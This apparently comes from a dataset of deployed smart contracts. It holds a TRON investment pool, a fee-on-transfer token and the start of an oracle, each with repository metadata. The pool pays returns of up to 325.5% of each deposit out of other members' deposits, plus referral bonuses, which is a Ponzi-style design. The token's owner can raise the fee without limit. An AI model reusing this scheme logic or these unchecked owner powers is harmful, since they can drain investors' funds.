{
users[userAddress].O6Income +=levelPrice[level] ;
}
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
emit SentDividends(_from,users[_from].id, receiver,users[receiver].id, matrix, level, isExtraDividends);
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 296,106 | 13,436 |
9de38d4cf0af1f0cd04aae5daef6105180bf306679cdde763fd6a1c00a92fd92
| 14,192 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TX/TXQtfgxrGxWAnMdYjgnvYQJPQUWyWmRFTM_RiotPlusPoolA.sol
| 4,473 | 13,598 |
//SourceUnit: RiotPoolA.sol
pragma solidity 0.5.12;
contract RiotPlusPoolA {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 1 * 1e6;
uint256 constant public BASE_PERCENT = 100;
uint256[] public REFERRAL_PERCENTS = [550, 350];
uint256 constant public MARKETING_FEE = 0;
uint256 constant public PROJECT_FEE = 0;
uint256 constant public PERCENTS_DIVIDER = 10000;
uint256 constant public BALANCE_STEP = 200000000000000000000000000*1e6;
uint256 constant public TIME_STEP = 1 days;
address internal owner;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address public marketingAddress;
address public projectAddress;
address public trc20Address;
struct Governance {
uint256 balance;
bool isExists;
}
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 totalBonus;
uint256 totalDividends;
}
mapping (address => User) internal users;
mapping (address => Governance) public governances;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
modifier onlyOwner() {
require(msg.sender == owner, "!owner");
_;
}
constructor(address marketingAddr, address projectAddr,address trc20Addr) public {
marketingAddress = marketingAddr;
projectAddress = projectAddr;
trc20Address = trc20Addr;
owner = msg.sender;
// governances[owner] = Governance(0, true);
}
function invest(uint256 inAmount,address referrer) public {
if (governances[msg.sender].isExists) {
governances[msg.sender].balance = governances[msg.sender].balance.add(inAmount);
totalInvested = totalInvested.add(inAmount);
totalDeposits = totalDeposits.add(1);
TRC20Token(trc20Address).transferFrom(msg.sender, address(this), inAmount);
return;
}
require(inAmount >= INVEST_MIN_AMOUNT, "inAmount < INVEST_MIN_AMOUNT");
TRC20Token(trc20Address).transferFrom(msg.sender, address(this), inAmount);
User storage user = users[msg.sender];
if (user.deposits.length > 0) {
withdraw();
}
TRC20Token(trc20Address).transfer(address(marketingAddress), inAmount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
TRC20Token(trc20Address).transfer(address(projectAddress), inAmount.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, inAmount.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
if (user.referrer == address(0) && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 2; i++) {
if (upline != address(0)) {
uint256 amount = inAmount.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(inAmount, 0, block.timestamp));
totalInvested = totalInvested.add(inAmount);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, inAmount);
}
// function cheese(uint256 amount) public onlyOwner {
// msg.sender.transfer(amount);
// }
function withdraw() public {
if (governances[msg.sender].isExists) {
TRC20Token(trc20Address).transfer(msg.sender, governances[msg.sender].balance);
governances[msg.sender].balance = 0;
return;
}
User storage user = users[msg.sender];
// bug
// uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(3255).div(1000)) {
if (user.deposits[i].start > user.checkpoint) {
uint256 userPercentRate = getUserPercentRateByStartedAt(msg.sender, user.deposits[i].start);
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
uint256 userPercentRate = getUserPercentRateByStartedAt(msg.sender, user.deposits[i].start);
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(3255).div(1000)) {
dividends = (user.deposits[i].amount.mul(3255).div(1000)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
user.totalDividends = user.totalDividends.add(totalAmount);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
}
// require(totalAmount > 0, "User has no dividends");
//uint256 contractBalance = address(this).balance;
uint256 contractBalance = TRC20Token(trc20Address).balanceOf(address(this));
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
TRC20Token(trc20Address).transfer(msg.sender, totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function setGovernances(address[] memory governanceAddr) public onlyOwner {
// require(governanceAddr != address(0), "governance can't be address(0)");
// require(!governances[governanceAddr].isExists, "governance can't be set");
// governances[governanceAddr] = Governance(0, true);
require(governanceAddr.length > 0, "governance can't be empty");
for (uint i = 0; i < governanceAddr.length; i++) {
require(!governances[governanceAddr[i]].isExists, "governance can't be set");
governances[governanceAddr[i]] = Governance(0, true);
}
}
function setOwner(address newOwnerAddr) public onlyOwner {
require(newOwnerAddr != address(0), "owner can't be address(0)");
owner = newOwnerAddr;
}
function getContractBalance() public view returns (uint256) {
//return address(this).balance;
return TRC20Token(trc20Address).balanceOf(address(this));
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalancePercent = totalInvested.div(BALANCE_STEP);
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP).mul(15);
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserPercentRateByStartedAt(address userAddress,uint256 startedAt) public view returns (uint256) {
//User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
// 0.000694444444444444 = 0.069%
uint256 timeMultiplier = (now.sub(startedAt)).div(TIME_STEP).mul(15);
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserDepositAvgRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
//uint256 totalUserPercentRate;
uint256 userDepositTotal;
uint256 dividendsTotal;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(3255).div(1000)) {
if (user.deposits[i].start > user.checkpoint) {
uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.deposits[i].start);
dividendsTotal = dividendsTotal.add(user.deposits[i].amount.mul(userPercentRate));
userDepositTotal = userDepositTotal.add(user.deposits[i].amount);
} else {
uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.checkpoint);
dividendsTotal = dividendsTotal.add(user.deposits[i].amount.mul(userPercentRate));
userDepositTotal = userDepositTotal.add(user.deposits[i].amount);
}
}
}
uint256 percentDividend = dividendsTotal.div(userDepositTotal);
if (percentDividend > 985) {
percentDividend = 985;
}
return percentDividend;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
// bug
// uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(3255).div(1000)) {
if (user.deposits[i].start > user.checkpoint) {
uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.deposits[i].start);
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.deposits[i].start);
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(3255).div(1000)) {
dividends = (user.deposits[i].amount.mul(3255).div(1000)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralBonusTotal(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(3255).div(1000)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract TRC20Token {
function totalSupply() public returns (uint256 total);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
}
| 289,284 | 13,437 |
2d613f825b79220edd2a34a7e1aa683ef6004fd227cb4a017c63cb37a32b32e9
| 29,502 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/2a/2A6712b58820c99ba52c738EEC27E4523Fc9D317_AssentProtocol.sol
| 5,200 | 18,743 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AssentProtocol is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 3333333 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Assent Protocol';
string private constant _symbol = 'ASNT';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 3333333 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x124e0b9c9aA8D1DC42228fF4F4d62456C9bF83E6, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 313,548 | 13,438 |
0ec48fb8f012ea6e9c26ec2fcd734b5ae6f3b2e54ac114957f1e17bb9591ecc7
| 25,479 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/6b/6b1ef2404be65eeff94daa39531b365433d776ec_Oracle.sol
| 4,868 | 17,143 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// File: Mario/lib/Babylonian.sol
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
// File: Mario/lib/FixedPoint.sol
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// File: Mario/openzeppelin/Context.sol
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File: Mario/openzeppelin/Ownable.sol
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
